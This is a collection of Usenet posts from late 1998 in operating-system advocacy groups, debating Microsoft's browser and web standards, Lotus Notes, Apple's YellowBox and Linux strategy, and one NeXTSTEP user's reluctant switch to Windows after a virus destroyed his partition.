References: <3679789f.27413999@news2.asan.com> <36854B25.573BE810@geocities.com>
Jorge Landivar wrote in message <36854B25.573BE810@geocities.com>...
>
>M$'s browser breaks other (m$'s compeditors) programs.
>
This is wrong. IE4+ follows the document (including the style sheet goo) at
http://www.w3.org/TR/REC-html40/ . This is standard from the WWW
Consortium.
Netscape, instead of using <div>, used <layer> which is *not* standard.
They tried to create their own standard, but it did not work. The IE object
model also follows the standard. This is not a document created by
Microsoft, but by the W3 Consortium.
If Netscape followed, and collaborated, on this model (which MS helped form,
but did not create - as with any ISO|W3 standard), then things would have
looked up for NS, and we would all be in a better situation.
-- Rich
From: r.e.ballard@usa.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Sat, 26 Dec 1998 23:32:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <763rm5$anu$1@nnrp1.dejanews.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75eg2i$mhu$1@vixen.cso.uiuc.edu> <75s9ja$l41$1@nnrp1.dejanews.com> <kWEg2.1043$fM1.31766@ptah.visi.com>
In article <kWEg2.1043$fM1.31766@ptah.visi.com>,
bhurt@visi.com (Brian Hurt) wrote:
> r.e.ballard@usa.net writes:
>
> >When Microsoft came out with Windows, WordPerfect was the dominant word
> >processor, and Lotus Notes was the dominant spreadsheet.
> I think you mean "123".
Yes, that's what I meant.
> Notes is their medium-weight database and
> combined GUI front end masquerading as a mail server.
Note was a valiant attepmt to create e-mail that could cope with
the cluster size problem of the FAT-16 file system. One of the
problems with SMTP e-mail was that the average message was only
about 500 characters. The minimum file size was getting up to 32kb.
The Notes "Database" was merely a means of wrapping up the various
messages into a single, large file, and provide index and view
summaries of those documents.
I have helped "rescue" a couple of projects where someone tried to use
Lotus Notes like a relational database (which does horrible things to
performance).
Notes also provided the encryption required to protect files on the
rediculously insecure Windows 95/3.1 workstations and the prying eyes of the
many "ADMINISTRATORS" that seem to get "access everything" priviledges on NT
servers.
Ironically, UNIX didn't have the storage problems, the security holes, and
the clients could dynamically build "indices". Furthermore, with NNTP and
SMTP and POP3 deamons, Linux comes with the best features. Linux has added
encryption and chat (IRCII) to enable better "groupware" functions than
Notes ever had.
It's ironic that "GroupWare", "Intranet", and "Extranet" were all initially
code-words for Open-source software on UNIX or Linux servers and/or clients.
> Brian
--
Rex Ballard - Open Source Advocate, Internet Architect, MIS Director
http://www.open4success.com
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: nsauer@ucalgary.ca
Newsgroups: comp.sys.next.advocacy
Subject: I have to switch to Windows--long time NeXt User
Date: Sat, 26 Dec 1998 23:34:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <763rqd$aor$1@nnrp1.dejanews.com>
The disaster has happened. I have to switch to Windows. Don't see any other
solution.
I originally was running one of the very first cubes and had then another cube
and a station. Recently I was running NeXtstep 3.3 on Intel with double boot
into Windows and NeXt.
A virus infected the Windows part and the virus or the virus extermination
software wiped out the NeXt part of the disk partition table. It now shows up
as free space in DOS disk utilities. I can not get at it any more and have
very important information on that lost part of the disk.
I tried boot it into NeXt by sticking the NeXt boot floppy into the drive and
the NeXt CD into the CD drive. The computer then simply hangs after showing
the BIOS and the System Config Table. At exactly that place where it begins
to boot into Windows if the NeXt boot floppy is not in the drive. From
Windows the floppy drive and the CD drive work fine.
So, what are my options? Apart from having lost a substantial part of my lifes
work and I have to continue to work imediately I can
Try for another several weeks to reestablish the NeXt partition. Probably
hopeless and I would fall further behind in my work. I am not a computer
expert I just have to use those things. Try to reinstall NeXt on a new PC.
Extremely time consuming, for me, and might not work. The last time I did
this I bought the intel computer with NeXt installed. Nothing worked. I had
to uninstall it and do it all on my own again. The company which did the
installation went out of business after extracting from me $600 US for
additional technical advice which was never given. Just the PPP installation
alone cost me two weeks of work. It eventually connected me, so I never
understood what I finally did to make it work. Also, NeXt or Openstep is not
really supported anymore and it would be foolish to invest time to install a
system from a dead or dying companey. Hence, to stay with NeXt or Openstep
is not an option.
Wait for Rhapsody. I have to continue working immediately. Every change in
operating system costs in terms of time in learning it, and money for
software; and learning to use the software. It also is not clear it will
appear at all and if whether it has a future. I would like to be optimistic
but everybody here must agree that Apple has been very quiet about it. Even
if I had a guarantee from Apple that it would appear within the next three
weeks I would need to know which software will run on it, how I like the
interface, how good the software will be, what it can do, see demo's and so
on. I just can not afford the risk. I certainly can not wait for OSX in fall.
Install Linux. No! I have had enough trouble with one not very common
operating system. I will not entertain to take a similar risk now. I suspect
I will have to read through a subtantial amount of manuals and spend some
effort to get Linux going. As I said before I am not a computer expert. I
know there are installation ready packages available which will give me no
trouble at installation. On the other hand I know of somebody who never got
PPP working for his Linux system and had some other troubles with it. He
switched back to Apple. I suspect I would not fare much better. Don't forget
that things which seem to be trivial and obious to you the experts are
substantial hurdles for somebody who can not spend much time reading the
relevant manuals. Also I need a computer for work, not play. Once I have
again a working system I can entertain the idea of installing Linux on a
second drive and play with it.
So, Windows or Apple. From a NeXt users perspective there is not much
difference. In my case Windows wins because then I can dump all of the
problems into the lap of the systems manager at the office. He will have to
get the computer, install all of the software, I want to have, make sure it
works and then give it to me. If it then does not work he has to come to my
place and get it going. He has a proven track record for such installations
as most of my colegues have such a Windows or NT system which he has
installed. If I go this way I will be working within two weeks, and can in
the meantime work with pen and paper. So those two weeks will not be
completely lost as I do not have to worry about computer problems.
Also I can install a backupsystem, iomega drive, a CD burner and it will
work. I did not manage to get those things to work with my NeXt system and
the attempt to do so started my problems.
Will I like to work with Windows or NT. No! I looked at the setup of my
colegues and spent some time at there computers in the last several days. To
work with NeXt step was pleasure. Just sitting down at the computer improved
my mood. Working with Windows will just be work in the best case and utterly
hateful in the worst. How can I describe my feelings. Assume you owned a top
of the line sportscare and you loved it. Then it got older and older. Not
being a mechanic and not being able to keep it repaired you had to give it up
eventually after an accident. So you looked for another car. The only
available other option which would drive you to work and back was a car which
you had to steer hanging by you feet from the ceiling looking backwards
through a mirror. One of the wheels is not completely round and one of the
windows will not close when the temperature drops to below -40. But what can
you do, you have to get to work and back.
After putting money into a PC I will not be able to effort a new computer in
fall if OSX should appear. Particularly also because I will have spent a
considerable amount of money and time on software for the Windows system. My
work will more and more become tied into Windows solutions. Eventually it
will not warrant the effort to change again. Am afraid a beautiful dream has
come to an end.
Norbert Sauer
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: nws@rollingthunder.demon.co.uk (Anthony Ord)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Sat, 26 Dec 1998 15:43:04 GMT
Message-ID: <368f00ab.4561618@news.demon.co.uk>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net>
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On Tue, 22 Dec 1998 09:22:38 -0800, ch3@earthlink.net.rem.ove.this (c
hand) wrote:
>>If Apple _sold_ a GUI for Linux that gave access to Mac programs (including
>>easily installing them!) there are many people who'd buy it.
>
>Linux users? I doubt it.
I'd buy it, if only the once. May as well go to where M$ steal most
their ideas from.
>It would be everyday Joe Wannbe-Hacker that
>were unlikely to try Linux beforehand, and were either Windows or
>Mac users(which happens to be Apple's target market with OS X/S.)
Wannabe Hackers don't stick with Win/Mac if they wannabe hackers.
>>Apple benefits by selling more software,
>
>How much software does the Linux market *pay for*?
Lots and lots of distribution CDs. Quite a few Office type suites.
There isn't really much else on sale to buy.
>> without the worry about drivers for the multitude of Intel hardware
>
>Then one must ask: Why Linux? Why not BSD? The whole premise of this
>argument is flawed. I just don't see the benefit to Apple at this
>time. Other than the hype and PR value. But that could as easily be
>achieved with OpenMach.
Imagine Apple want to do a distribution, and just ship their bits onto
of a normal Red Hat (say) CD. They pay RH $5 for each CD to get them
"on board". They produce the distro to set up your machine to boot
straight into finder and of course use appletalk to share your
machines resources. They put in the agreement that they will not
support the distro if you put anything fancy on like Apache. (To Red
Hat you will go)
Apple do the bug-fixes on their GUI and their Mac code emulator
(Neither GPLed).
RH has the pleasure of doing bug fixes on the rest of Linux system.
If RH screw up, Apple can then switch to another vendor, which you
can't really do with BSD.
Apple produce $20 worth of software and sell a distro wholesale for
$50. They get constant innovation without havig to spend a dime. Is
that a good business case?
Regards
Anthony
--
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Sat, 26 Dec 1998 08:56:32 -0800
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <76172n$jqj$1@reader1.reader.news.ozemail.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2612980856320001@1cust12.tnt2.redmond.wa.da.uu.net>
>>Linux users? I doubt it.
>
>I don't think paying for the ability to run commercial applications is a
big >problem.
Then Apple would be best served by *selling* OS X/S.
>I also think that as YB becomes more prevalent the GNUstep project would
>get a lot of resources, and would soon be completed.
This will happen regardless of a YB/Linux.
>Apart from my previous answer, in some ways that's not the point. If no-one
>buys it then how can Apple lose market share.
If no one buys it, it was a huge waste of resources on a phantom market.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sat, 26 Dec 1998 08:59:45 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <slrn787jft.alk.jedi@dementia.mishnet>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2612980859460001@1cust12.tnt2.redmond.wa.da.uu.net>
>> By that, what you are asking for is an
>>OpenSource YellowBox. Now, make the 'stupid-as-your-ass' *business* case.
>
> It worked for Next. Mind you, one doesn't have to give away
> the source. One merely has to show a good faith effort to
> be creating/complying with open standards.
How did it work for NeXT? Sun adopted it, then dropped it. HP adopted
it, then dropped it. Digital adopted it, then dropped it. All used it
for a short time to steal away NeXT's customers, then dropped OPENSTEP
altogether when they had them.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sat, 26 Dec 1998 09:04:12 -0800
References: <760kof$dlk$1@nnrp03.primenet.com> <19981225133537.00853.00001612@ng-fi1.aol.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2612980904120001@1cust12.tnt2.redmond.wa.da.uu.net>
>
>Apple bundling GNUstep on their Linux box would be a truly different step, but
>not one I find likely unfortunately.
>
What Linux box?
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sat, 26 Dec 1998 09:01:44 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <75upqa$47f$1@nnrp03.primenet.com> <75vd7j$25r$1@nnrp1.dejanews.com> <760kof$dlk$1@nnrp03.primenet.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2612980901450001@1cust12.tnt2.redmond.wa.da.uu.net>
>
>I think it's pretty much up to Apple whether Linux ends up as a competetor
>or an ally. Linux is part of the landscape now. Apple will decide if it
>is hostile or friendly territory and take their actions accordingly.
>
I think it's pretty much up to Apple to decide whether they are a leader
or a follower. Marching in step to the Linux drum, is not their vision
of the future.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sat, 26 Dec 1998 09:16:07 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net>
>Why Linux?
>
>Because I use Linux, I know Linux, I like Linux, and I develop for
>Linux. Are those good reasons?
Not really. What you're suggesting:
An Open Source UNIX CoreOS
proprietary API
proprietary GUI
What OpenMach is:
An Open Source UNIX CoreOS
An Open Source Driver/IO model
proprietary API
proprietar GUI
Seems to me this is really more about what *you* want, than about
what would be good or profitable for Apple.
--
regards : colin hand : mailto:ch3@earthlink.net
ence would be mainstream
>Linux.vs.Mac desktops.
You assume that time is frozen. You assume that what you see today is
the vision that Apple wants for it's future.
It's a matter of whether or not Apple should participate in the
legitimization of an illegitimate operating system. The results of
which would ultimately result in competition against Apple itself.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sat, 26 Dec 1998 09:07:12 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com> <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net> <3683696D.BD0633B3@nstar.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2612980907270001@1cust12.tnt2.redmond.wa.da.uu.net>
>> - existing customer base in vertical markets
>> - 3,000 customers already using WebObjects
>
>I'm not sure I understand the significance of this. It compares to 9
>million potential Linux seats...how?
>
These customers actually PAY money for software.
>> - helps diffuse Java hype
>
>Hmmm. How? I thought the new Yellow Box had Java bindings built-in.
Don't confuse the Java language with the Java API.
--
regards : colin hand : mailto:ch3@earthlink.net
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sat, 26 Dec 1998 09:54:23 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn78a8mf.1rn.jedi@dementia.mishnet>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com> <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net> <3683696D.BD0633B3@nstar.net> <ch3-2612980907270001@1cust12.tnt2.redmond.wa.da.uu.net>
On Sat, 26 Dec 1998 09:07:12 -0800, c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>> - existing customer base in vertical markets
>>> - 3,000 customers already using WebObjects
>>
>>I'm not sure I understand the significance of this. It compares to 9
>>million potential Linux seats...how?
>>
>
>These customers actually PAY money for software.
Yeah, and my copies of WABI, Applixware (2), Quake II,
Ultima Online & Redhat 5.2 just fell off the truck..
>
>>> - helps diffuse Java hype
>>
>>Hmmm. How? I thought the new Yellow Box had Java bindings built-in.
>
>Don't confuse the Java language with the Java API.
>
>--
>regards : colin hand : mailto:ch3@earthlink.net
>
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Sat, 26 Dec 1998 08:52:37 -0800
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <368f00ab.4561618@news.demon.co.uk>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2612980852370001@1cust12.tnt2.redmond.wa.da.uu.net>
>Apple produce $20 worth of software and sell a distro wholesale for
>$50. They get constant innovation without havig to spend a dime. Is
>that a good business case?
>
No, it's terrible. Just another example of the "change to our
way of doing things, because we rule" mindset.
--
regards : colin hand : mailto:ch3@earthlink.net
From: Jorge Landivar <landivar2@geocities.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Sat, 26 Dec 1998 14:46:33 -0600
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36854B25.573BE810@geocities.com>
References: <3679789f.27413999@news2.asan.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
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M$'s browser breaks other (m$'s compeditors) programs.
Willy wrote:
> Linux distributions have browsers on them. MacOS 8.x ships with two
> browsers. And I'd bet that Be and various Unix OSes now ship with
> browsers. So why can MS ship a browser with Windows? Why is everyone
> else allowed to ship Navigator with their OS but Microsoft can't ship
> IE?
From: Michael.Peck@ericsson.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sat, 26 Dec 1998 20:37:56 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <763hf5$2u1$1@nnrp1.dejanews.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net>
In article <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net>,
ch3@earthlink.net.rem.ove.this (c hand) wrote:
[cut]
> Seems to me this is really more about what *you* want, than about
> what would be good or profitable for Apple.
Apple's inability to see the correlation between what I want and what would be
good or profitable for Apple is the source of Apple's ongoing difficulties.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 26 Dec 1998 19:53:14 GMT
Organization: Primenet (602)416-7000
Message-ID: <763era$6bc$1@nnrp02.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net>
<75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <75upqa$47f$1@nnrp03.primenet.com> <75vd7j$25r$1@nnrp1.dejanews.com> <760kof$dlk$1@nnrp03.primenet.com> <ch3-2612980901450001@1cust12.tnt2.redmond.wa.da.uu.net>
c hand <ch3@earthlink.net.rem.ove.this> wrote:
: >I think it's pretty much up to Apple whether Linux ends up as a competetor
: >or an ally. Linux is part of the landscape now. Apple will decide if it
: >is hostile or friendly territory and take their actions accordingly.
: I think it's pretty much up to Apple to decide whether they are a leader
: or a follower. Marching in step to the Linux drum, is not their vision
: of the future.
Huh? Leaders don't have allies?
John
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
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References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
<3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net>
<ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com>
<ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com>
<ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com>
<ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net>
<qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net>
Message-ID: <Xhch2.1346$J%3.960@news.rdc1.sdca.home.com>
Date: Sat, 26 Dec 1998 21:11:19 GMT
NNTP-Posting-Date: Sat, 26 Dec 1998 13:11:19 PDT
Organization: @Home Network
In <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> c hand wrote:
>
> >The logic behind this YB/Linux .vs. Mac desktops escapes me.
>
> OS X/S desktops. There's no reason that Apple would abdicate the
> Linux marketshare.
>
>
.. can't abdicate that which they do not own! Putting the cart before the horse
logic, eh?
> >Only competiton Apple sales could experience would be mainstream
> >Linux.vs.Mac desktops.
>
> You assume that time is frozen. You assume that what you see today is
> the vision that Apple wants for it's future.
>
> It's a matter of whether or not Apple should participate in the
> legitimization of an illegitimate operating system. The results of
> which would ultimately result in competition against Apple itself.
>
>
Maybe I'm just too slow on this one... for which I apologize. But I'm not at all
buying the packaging of Linux as an illegitimate OS. Linux has legitimately
earned its credibiilty just as every OS does.
The assertion that Linux ultimately competes against Apple bears no semblence with
reality. Linux is firmly rooted in the server space. Apple is not positioned in
the server space. It has no server product which could compete against Linux.
MacOS X server will only be a competitor at the "dedicated" server and workstation
space. All "*nice's" being equal, performance defines the *Gap* on servers.
If we extend the time horizon for Linux out 5 years the performance *Gap* between
MacOSX, Solaris, HP-UX, .et .al will close. If a GUI is added to Linux tomorrow
<choose your favorite> the *Gap* between Windows and Mac is very much obvious.
Not until Linux has a cross-platform API does there become _any_ migration of
APPLICATIONS over to LInux. All GUI's being equal, applications define the *Gap*
on the desktop. Then and only then would there concievably be competition for
Apple. Since YB is the cross-platform API across which applications can port to
Linux, it would seem that Apple stands to "profit" at the middleware layer. All
API's being equal, tools define the *Gap* between OS's.
-r
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 26 Dec 1998 20:16:30 GMT
Organization: Primenet (602)416-7000
Message-ID: <763g6u$6bc$2@nnrp02.primenet.com>
References: <ch3-2612980904120001@1cust12.tnt2.redmond.wa.da.uu.net> <19981226150724.27490.00002227@ng-ch1.aol.com>
WillAdams <willadams@aol.com> wrote:
: Colin Hand asked:
: >What Linux box?
: (in regards to Apple selling such a box andy my comment that it probably
: would not include GNUstep)
: I have a vague memory of Apple recently announcing that they would sell a Mac
: with Linux preinstalled--not finding anything which seems to match this on
: their web site at the moment though.
I think this was the original report:
http://www.techweb.com/wire/story/TWB19981215S0011
I've no idea what it really means, or if it means anything at all.
John
Message-ID: <368545B6.63E9976C@nstar.net>
Date: Sat, 26 Dec 1998 14:23:18 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <75upqa$47f$1@nnrp03.primenet.com> <75vd7j$25r$1@nnrp1.dejanews.com> <760kof$dlk$1@nnrp03.primenet.com> <ch3-2612980901450001@1cust12.tnt2.redmond.wa.da.uu.net>
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c hand wrote:
> I think it's pretty much up to Apple to decide whether they are a leader
> or a follower. Marching in step to the Linux drum, is not their vision
> of the future.
Now this is truly funny. I suppose Apple is marching in step to the
Windows NT drum. In fact, anyone who creates software for someone else's
operating system is marching to that operating system's drum.
I suppose so. Some of us have recognized the importance of marching to
drums. It's the sort of thing that happens in society, economy, and life
in general. Cooperation, coexistence, mutual benefit, that sort of
thing. Some of us make a lot of money doing it, some of us don't.
But I've never heard of anyone making money by marching to their own
drum. Even Microsoft is "marching to the Internet drum", now, isn't it?
MJP
Message-ID: <3685466B.3F311F53@nstar.net>
Date: Sat, 26 Dec 1998 14:26:19 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
